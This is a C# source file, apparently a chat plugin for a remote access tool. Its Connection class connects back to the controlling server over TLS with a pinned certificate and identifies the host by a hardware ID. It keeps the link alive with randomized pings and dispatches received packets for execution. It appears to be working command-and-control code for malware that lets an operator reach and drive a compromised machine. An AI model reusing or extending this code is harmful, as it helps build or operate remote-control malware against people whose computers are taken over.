225 lines
8.0 KiB
C#
225 lines
8.0 KiB
C#
using Plugin.MessagePack;
|
|
using System;
|
|
using System.Collections.Generic;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Net.Security;
|
|
using System.Net.Sockets;
|
|
using System.Security.Authentication;
|
|
using System.Security.Cryptography.X509Certificates;
|
|
using System.Text;
|
|
using System.Threading;
|
|
|
|
namespace Plugin
|
|
{
|
|
public static class Connection
|
|
{
|
|
public static Socket TcpClient { get; set; }
|
|
public static SslStream SslClient { get; set; }
|
|
public static X509Certificate2 ServerCertificate { get; set; }
|
|
private static byte[] Buffer { get; set; }
|
|
private static long HeaderSize { get; set; }
|
|
private static long Offset { get; set; }
|
|
private static Timer Tick { get; set; }
|
|
public static bool IsConnected { get; set; }
|
|
private static object SendSync { get; } = new object();
|
|
public static string Hwid { get; set; }
|
|
|
|
public static void InitializeClient()
|
|
{
|
|
try
|
|
{
|
|
|
|
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
|
{
|
|
ReceiveBufferSize = 50 * 1024,
|
|
SendBufferSize = 50 * 1024,
|
|
};
|
|
|
|
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
|
|
if (TcpClient.Connected)
|
|
{
|
|
Debug.WriteLine("Plugin Connected!");
|
|
IsConnected = true;
|
|
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
|
|
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
|
HeaderSize = 4;
|
|
Buffer = new byte[HeaderSize];
|
|
Offset = 0;
|
|
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
|
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
|
|
|
new Thread(() =>
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "chat-";
|
|
msgpack.ForcePathObject("Hwid").AsString = Hwid;
|
|
Send(msgpack.Encode2Bytes());
|
|
new HandlerChat().CreateChat();
|
|
}).Start();
|
|
|
|
}
|
|
else
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
Debug.WriteLine("Disconnected!");
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
|
|
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
|
{
|
|
#if DEBUG
|
|
return true;
|
|
#endif
|
|
return ServerCertificate.Equals(certificate);
|
|
}
|
|
|
|
public static void Disconnected()
|
|
{
|
|
|
|
try
|
|
{
|
|
IsConnected = false;
|
|
Tick?.Dispose();
|
|
SslClient?.Dispose();
|
|
TcpClient?.Dispose();
|
|
}
|
|
catch { }
|
|
}
|
|
|
|
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
|
|
{
|
|
try
|
|
{
|
|
if (!TcpClient.Connected || !IsConnected)
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
int recevied = SslClient.EndRead(ar);
|
|
if (recevied > 0)
|
|
{
|
|
Offset += recevied;
|
|
HeaderSize -= recevied;
|
|
if (HeaderSize == 0)
|
|
{
|
|
HeaderSize = BitConverter.ToInt32(Buffer, 0);
|
|
Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
|
|
if (HeaderSize > 0)
|
|
{
|
|
Offset = 0;
|
|
Buffer = new byte[HeaderSize];
|
|
while (HeaderSize > 0)
|
|
{
|
|
int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
|
|
if (rc <= 0)
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
Offset += rc;
|
|
HeaderSize -= rc;
|
|
if (HeaderSize < 0)
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
|
thread.Start(Buffer);
|
|
Offset = 0;
|
|
HeaderSize = 4;
|
|
Buffer = new byte[HeaderSize];
|
|
}
|
|
else
|
|
{
|
|
HeaderSize = 4;
|
|
Buffer = new byte[HeaderSize];
|
|
Offset = 0;
|
|
}
|
|
}
|
|
else if (HeaderSize < 0)
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
|
|
}
|
|
else
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
|
|
public static void Send(byte[] msg)
|
|
{
|
|
lock (SendSync)
|
|
{
|
|
try
|
|
{
|
|
if (!IsConnected || msg == null)
|
|
{
|
|
return;
|
|
}
|
|
|
|
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
|
SslClient.Write(buffersize, 0, buffersize.Length);
|
|
|
|
if (msg.Length > 1000000) //1mb
|
|
{
|
|
Debug.WriteLine("send chunks");
|
|
using (MemoryStream memoryStream = new MemoryStream(msg))
|
|
{
|
|
int read = 0;
|
|
memoryStream.Position = 0;
|
|
byte[] chunk = new byte[50 * 1000];
|
|
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
|
|
{
|
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
|
SslClient.Write(chunk, 0, read);
|
|
}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
|
SslClient.Write(msg, 0, msg.Length);
|
|
SslClient.Flush();
|
|
}
|
|
Debug.WriteLine("Plugin Packet Sent");
|
|
}
|
|
catch
|
|
{
|
|
IsConnected = false;
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
|
|
public static void CheckServer(object obj)
|
|
{
|
|
MsgPack msgpack = new MsgPack();
|
|
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
|
|
Send(msgpack.Encode2Bytes());
|
|
GC.Collect();
|
|
}
|
|
|
|
}
|
|
}
|